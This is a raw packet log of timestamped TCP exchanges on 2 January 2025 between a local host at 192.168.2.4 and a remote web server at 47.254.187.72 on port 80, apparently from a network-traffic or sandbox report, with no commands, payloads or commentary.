Jan 2, 2025 20:34:52.132184982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132195950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132206917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132211924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132217884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132245064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132258892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132263899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132327080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132333994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132338047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132349968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132359982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132363081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132370949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132385969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132421970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132422924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132433891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132467031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132538080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132549047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132560015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132572889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132580042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132585049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132595062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132606983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132616043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132639885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132656097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132673979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132684946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132704020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132711887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132714033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132724047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132725000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132735968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132760048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132783890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132796049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132827997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132838964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132849932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132869005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132874966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132894993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132910013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132914066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132920027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132950068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132987022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.133024931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.135900021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.135935068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.135945082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.135945082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.135956049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.135967970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.135976076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.136006117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.136014938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.136017084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.136028051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.136045933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.136045933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.136069059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.136086941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.138325930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.138376951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.138392925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.138405085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.138416052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.138426065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.138430119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.138438940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.138451099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.138451099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.138480902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.138497114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.140836000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.140850067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.140868902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.140882969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.140886068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.140897989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.140904903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.140908957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.140921116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.140943050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.140945911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.140960932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.140988111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.145983934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146018028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146029949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.146050930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146055937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.146070957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146083117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146095037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.146115065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.146136999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.146182060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146192074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146202087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146213055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146223068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146225929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.146241903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146251917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146260977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146265984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.146272898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146286964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.146290064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146300077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146305084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.146311045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146320105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146333933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146348953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.146367073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.146400928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.148063898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148076057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148094893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148107052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148111105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.148116112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148134947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148143053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.148153067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148156881 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.148161888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148171902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148183107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148188114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.148191929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.148221016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.148241997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.149182081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.149194956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.149204969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.149223089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.149244070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.149259090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.149275064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.149286032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.149296045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.149306059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.149315119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.149346113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218451023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218468904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218482018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218492985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218503952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218514919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218519926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218525887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218539953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218554974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218607903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218612909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218633890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218645096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218671083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218683958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218724966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218736887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218748093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218760014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218777895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218780041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218791962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218796968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218801975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218813896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218815088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218827963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218830109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218852043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218875885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218898058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218909025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218919039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218930006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218940973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218949080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218951941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218976974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.218985081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218995094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.218995094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219006062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219024897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219049931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219099045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219110012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219121933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219131947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219134092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219150066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219155073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219161034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219172955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219178915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219213009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219276905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219294071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219305992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219331980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219332933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219345093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219356060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219357967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219367981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219377995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219388962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219393015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219399929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219412088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219410896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219430923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219450951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219482899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219495058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219505072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219516993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219537020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219559908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219563961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219598055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219691992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219703913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219713926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219724894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219736099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219739914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219747066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219749928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219758034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219770908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219774961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219786882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219799042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219800949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219809055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219824076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219852924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219856024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219871998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219883919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219892979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219893932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219907045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219917059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.219919920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.219949961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.222707033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.222764969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.222798109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.222810030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.222820997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.222831964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.222843885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.222855091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.222860098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.222893000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.225331068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.225352049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.225363970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.225375891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.225388050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.225390911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.225399017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.225410938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.225418091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.225438118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.225462914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.227757931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.227781057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.227792978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.227804899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.227809906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.227819920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.227823973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.227835894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.227842093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.227849960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.227875948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.227895021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.232822895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.232835054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.232862949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.232873917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.232886076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.232892036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.232917070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.232923985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.232934952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.232948065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.232949972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.232958078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.232994080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.233025074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.233036041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.233046055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.233063936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.233074903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.233076096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.233088017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.233098030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.233098984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.233125925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.234999895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.235018015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.235030890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.235042095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.235054016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.235064030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.235075951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.235203981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.236000061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.236021996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.236035109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.236052036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.236063957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.236068010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.236074924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.236085892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.236098051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.236102104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.236139059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.305110931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305160046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305170059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.305186987 CET	80	49730	47.254.187.72	192.168.2.4
